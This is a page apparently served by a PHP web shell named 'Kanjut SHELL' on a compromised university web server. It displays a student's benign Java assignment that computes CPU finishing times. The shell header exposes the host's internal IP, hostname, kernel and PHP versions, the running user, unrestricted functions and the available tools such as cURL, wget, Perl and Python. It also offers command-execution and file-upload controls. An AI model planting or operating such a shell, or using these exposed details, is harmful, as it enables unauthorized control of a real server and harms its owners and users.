Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.147.28.111
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/thchang/cs440/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/thchang/cs440/CPUTime.java
//
//Assignment 8A
//Name:	CPUTime.java
//
//Author:	Tyler Chang
//Instructor:	Dr. John Wang
//Course:	CS 440
//
//Due: April 1, 2015
//
//Goal:	 Read 2 lines of time values in the form:
//		hh:mm:ss from a file (less than 50 total).
//		1st line is when a process entered CPU,
//		and the second line is the running time.
//		Output finishing time in the same format.
//

import java.util.Scanner;
import java.io.File;

public class CPUTime
{
	/**
	/* First format times, then
	/* them times to the screen
	/* @param int h = hours
	/* @param int m = minutes
	/* @param int s = seconds
	**/
	public static void printTime(int h, int m, int s)
	{
		// format:
		// reduce seconds
		while(s >= 60)
		{
			s -= 60;
			m++;
		}
		// reduce minutes
		while(m >= 60)
		{
			m -= 60;
			h++;
		}
		// reduce hours
		while(h >= 24)
			h -= 24;

		// print:
		// print hours
		if(h < 10)
			System.out.print("0" + h + ":");
		else
			System.out.print(h + ":");
		// print minutes
		if(m < 10)
			System.out.print("0" + m + ":");
		else
			System.out.print(m + ":");
		// print seconds
		if(s < 10)
			System.out.print("0" + s);
		else
			System.out.print(s);
	}

	// main method
	public static void main(String[] args)
			throws java.io.IOException
	{
		// setup I/O
		File src = new File("time.txt");
		Scanner input = new Scanner(src);

		// declare variables
		String str;
		String parts[] = new String[3];
		int h, m, s;

		// begin main loop
		while(input.hasNextLine())
		{
			// get time in
			str = input.nextLine();
			parts = str.split(":", 3);
			// parse time in to integers
			h = Integer.parseInt(parts[0]);
			m = Integer.parseInt(parts[1]);
			s = Integer.parseInt(parts[2]);

			// get running time
			str = input.nextLine();
			parts = str.split(":", 3);
			// add running times
			h += Integer.parseInt(parts[0]);
			m += Integer.parseInt(parts[1]);
			s += Integer.parseInt(parts[2]);

			// output
			printTime(h, m, s);
			System.out.println();
		}
	}
}

Stv3n404 - 2023